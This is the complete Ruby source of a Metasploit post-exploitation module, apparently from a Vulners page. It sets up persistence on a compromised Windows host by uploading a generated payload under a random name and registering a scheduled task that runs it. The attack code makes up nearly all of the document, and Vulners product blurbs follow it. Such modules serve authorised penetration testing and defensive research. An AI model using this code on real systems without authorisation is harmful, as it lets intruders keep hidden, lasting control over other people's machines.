##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::TaskScheduler
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistent Task Scheduler',
'Description' => %q{
This module establishes persistence by creating a scheduled task to run a payload.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die' ],
'Platform' => [ 'win' ],
'Privileged' => true,
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
],
'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
]
)
# not needed since this is not remote
deregister_options(
'ScheduleRemoteSystem',
'ScheduleUsername',
'SchedulePassword',
'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
)
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
begin
get_system_privs
rescue StandardError
return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
end
CheckCode::Appears('Likely exploitable')
end
def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
end
def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
payload_pathname = temp_path + '\\' + payload_name + '.exe'
upload_payload(payload_pathname)
task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
vprint_status("Creating task: #{task_name}")
begin
task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
rescue TaskSchedulerObfuscationError => e
print_warning(e.message)
print_good('Task created without obfuscation')
rescue TaskSchedulerError => e
fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
end
vprint_status("Starting task: #{task_name}")
task_start(task_name)
schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
@clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation